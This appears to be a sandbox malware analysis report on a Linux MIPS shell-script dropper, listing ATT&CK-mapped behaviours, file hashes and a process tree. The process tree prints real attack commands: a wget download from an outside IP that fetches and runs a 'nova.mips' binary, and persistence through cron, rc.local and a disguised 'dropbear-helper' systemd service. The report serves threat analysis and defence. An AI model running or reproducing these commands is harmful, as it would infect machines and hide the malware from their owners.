b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781

Analysis

max time kernel
11s
max time network
139s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/05/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
Size 2KB
Sample260527-twb6jsct2r
SHA256 b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781
MD5 618d44ade6b3de10b5e2de051ff6b89e
SHA1 d9aae21eb9980aa694320654d5f379f7651d39a8
SHA512 40f5af5fda7469b7675fc52d6e71f1e3158d3d9d3e6ece758f62e392b49ce9691b1cd9500da8a4365dd9bffa9b403c4499c14e3050c2648f8079dc54c9b7df6f
TLSH
T16F51FDE2B835D435F98DA439EB9D63987482241F0A18BE14758F783C0B8C94C23FE679
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
740	chmod
747	chmod

Deletes itself 1 IoCs

pid	Process
737	nova.mips

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nova.mips	735	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.km9zjQ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/dropbear-helper.service	_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	dropbear	737	nova.mips

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/23/cmdline	pidof
File opened for reading	/proc/4/cmdline	pidof
File opened for reading	/proc/17/stat	pidof
File opened for reading	/proc/6/cmdline	pidof
File opened for reading	/proc/10/stat	pidof
File opened for reading	/proc/14/cmdline	pidof
File opened for reading	/proc/21/stat	pidof
File opened for reading	/proc/37/cmdline	pidof
File opened for reading	/proc/700/stat	pidof
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/74/stat	pidof
File opened for reading	/proc/80/stat	pidof
File opened for reading	/proc/676/cmdline	pidof
File opened for reading	/proc/22/stat	pidof
File opened for reading	/proc/379/cmdline	pidof
File opened for reading	/proc/704/stat	pidof
File opened for reading	/proc/708/cmdline	pidof
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/3/stat	pidof
File opened for reading	/proc/699/stat	pidof
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/383/stat	pidof
File opened for reading	/proc/673/stat	pidof
File opened for reading	/proc/673/cmdline	pidof
File opened for reading	/proc/712/stat	pidof
File opened for reading	/proc/71/stat	pidof
File opened for reading	/proc/333/cmdline	pidof
File opened for reading	/proc/9/cmdline	pidof
File opened for reading	/proc/10/cmdline	pidof
File opened for reading	/proc/72/cmdline	pidof
File opened for reading	/proc/76/stat	pidof
File opened for reading	/proc/328/stat	pidof
File opened for reading	/proc/13/stat	pidof
File opened for reading	/proc/79/stat	pidof
File opened for reading	/proc/5/cmdline	pidof
File opened for reading	/proc/149/cmdline	pidof
File opened for reading	/proc/328/cmdline	pidof
File opened for reading	/proc/331/stat	pidof
File opened for reading	/proc/363/stat	pidof
File opened for reading	/proc/8/cmdline	pidof
File opened for reading	/proc/16/cmdline	pidof
File opened for reading	/proc/72/stat	pidof
File opened for reading	/proc/121/cmdline	pidof
File opened for reading	/proc/699/cmdline	pidof
File opened for reading	/proc/700/cmdline	pidof
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/661/stat	pidof
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/73/stat	pidof
File opened for reading	/proc/675/cmdline	pidof
File opened for reading	/proc/329/stat	pidof
File opened for reading	/proc/331/cmdline	pidof
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/stat	pidof
File opened for reading	/proc/2/cmdline	pidof
File opened for reading	/proc/11/stat	pidof
File opened for reading	/proc/13/cmdline	pidof
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/244/stat	pidof
File opened for reading	/proc/661/cmdline	pidof
File opened for reading	/proc/5/stat	pidof
File opened for reading	/proc/23/stat	pidof
File opened for reading	/proc/159/stat	pidof

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
716	rm
718	wget
735	nova.mips
738	cp
713	pidof

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nova.mips	wget

/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
/tmp/_b043c86b212f503318c24d706a8981223dbb68f7e83e48eab036bce911963781.sh
1⤵
- Executes dropped EXE
- Modifies rc script
- Modifies systemd
PID:708
- /bin/uname
  uname -m
  2⤵
  PID:711
- /bin/pidof
  pidof nova.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:713
- /bin/rm
  rm -f /tmp/nova.mips
  2⤵
  - System Network Configuration Discovery
  PID:716
- /usr/bin/wget
  wget -q http://176.65.149.142/bins/nova.mips -O /tmp/nova.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 /tmp/nova.mips
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /bin/mkdir
  mkdir -p /var/lib/.nova
  2⤵
  PID:736
- /tmp/nova.mips
  /tmp/nova.mips
  2⤵
  - Deletes itself
  - Changes its process name
  - System Network Configuration Discovery
  PID:735
- /bin/cp
  cp /tmp/nova.mips /var/lib/.nova/nova.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 /var/lib/.nova/nova.mips
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:743
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:744
- /bin/grep
  grep -v /var/lib/.nova
  2⤵
  PID:745
- /bin/chmod
  chmod +x /etc/rc.local
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /bin/cat
  cat
  2⤵
  PID:748
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:749
- /bin/systemctl
  systemctl enable dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:764
- /bin/systemctl
  systemctl start dropbear-helper.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:777

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 37B
SHA256 3fb351d9b010e9d19ad2c8e3c7442279d8e6130f9bf403168739478d26b8f378
MD5 5bf825d2a300120749059c58dda94d78
SHA1 d1f948aadf7987e10e9335bf42a20bac3599985e
SHA512 14950d45f3512567f1b1bad8384e0ae4abd38afe8601a7fc3be3382b660c41b27beeeea332aa979296bfffb57492436fbd9f9da40de9a5361e004d26f8fc71a9
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 44B
SHA256 5f493da785648d3250b6493dda2c94cdc9ec1d6960f083795076cbcef649d0d2
MD5 aec9ca8538529c64aac1079fcfc2697c
SHA1 fbb8fc7929a7db2cc54df92fb3c8516ceb654a91
SHA512 87a42fed30139bf00a22684c5920027cfde02a142973a5e431cd14d965a4bc84901bef4c04d36afa6f016795db0ab3dd27ece1c9330044aa9a2a609e558988f9
MD5 SHA1 SHA512

Submit Download

dropbear-helper.service

Path /etc/systemd/system/dropbear-helper.service
Size 182B
SHA256 7e495850bfb21921987a1680b02781c0bad659965d5f94ff0d06742d95b3d1fc
MD5 9d4fd67c48f7b988e1d5aa97080ba5bd
SHA1 a87934ad059ffa378167d5d8b6918062ecbbd124
SHA512 d23018a4e68c3e8ff6eade1293c63456b6942af83d494d1b6083ff0c01000a1c7d4495ec04ca9d4de6b6a0899546650242684cdd33584fdb6cf677adff88ba8c
TLSH
T1FBC01223563561A4EAEF28769FB67F44485002408F8DE2741FD11D0644E155A4435E9E
MD5 SHA1 SHA512 TLSH

Submit Download

.dropbear.lock

Path /run/.dropbear.lock
Size 4B
SHA256 ab6e7dc69b35a0263ac29711ca51215e4c4dfe4213f176bc3a4e8ddcc044a306
MD5 300d2b9a6ac3859c1533c5ff7070d8ff
SHA1 a2c8f2f2d55065bf4abdf8fbf84306b07d62d376
SHA512 04763ac16313e0e3c5e184e926c496f05ba4ce264aefc9096f51f0a4b909f6e2088fc3d5ed25470c4d307139b1f6ad4193fd86dba93fdd9001b4b3d502aa15a9
MD5 SHA1 SHA512

Submit Download

nova.mips

Path /tmp/nova.mips
Size 193KB
SHA256 a5fe5a498063d796481d1066c6f196a1fc8ac5daba156a91ff1bdab1a0fe1a86
MD5 1bda989925d43bb88c9ebe7a66d4abc0
SHA1 eac3315c815634e85a7cddfaeef3175056a6f9ce
SHA512 79ce18708fba31ace917faa1f98177215a6c72d960cae796d7f03d44286bb90390946ea139f181c7a1426407d201eb0b7ed713482df9a7046deeeac625615029
SSDEEP 3072:OyboWRFNwC14T3XOAP2mx088uUP0kgW/AuI:OybGCAeK2G0mHkpLI
TLSH
T1B914B81E6F228F6EF269967047F34E30975832D62BE1D584E2ACD5501F202DE641FBB8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.km9zjQ

Path /var/spool/cron/crontabs/tmp.km9zjQ
Size 473B
SHA256 c46063dbc48c8cc5f4d158fa857d6ca288830d8ca6e1c6bd1083c054d0014e48
MD5 e77fe50454f9d372f712af1c58621de6
SHA1 311579fdb58198e5e540ba54d2b6310af5ca738e
SHA512 7700e4aa4d6427ae9a4fb359c3db8aa4157e0653d5e9fab67d3a59e9903ddf49b8a54ced4853047de2418c0e5832c7254e883ab5f1d146adc7a5734f44921195
TLSH
T1C1F0E9B4571D7534F3CD7D1877B902083D824065DCA86A00DC4E3A15815D31D3D3AF11
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads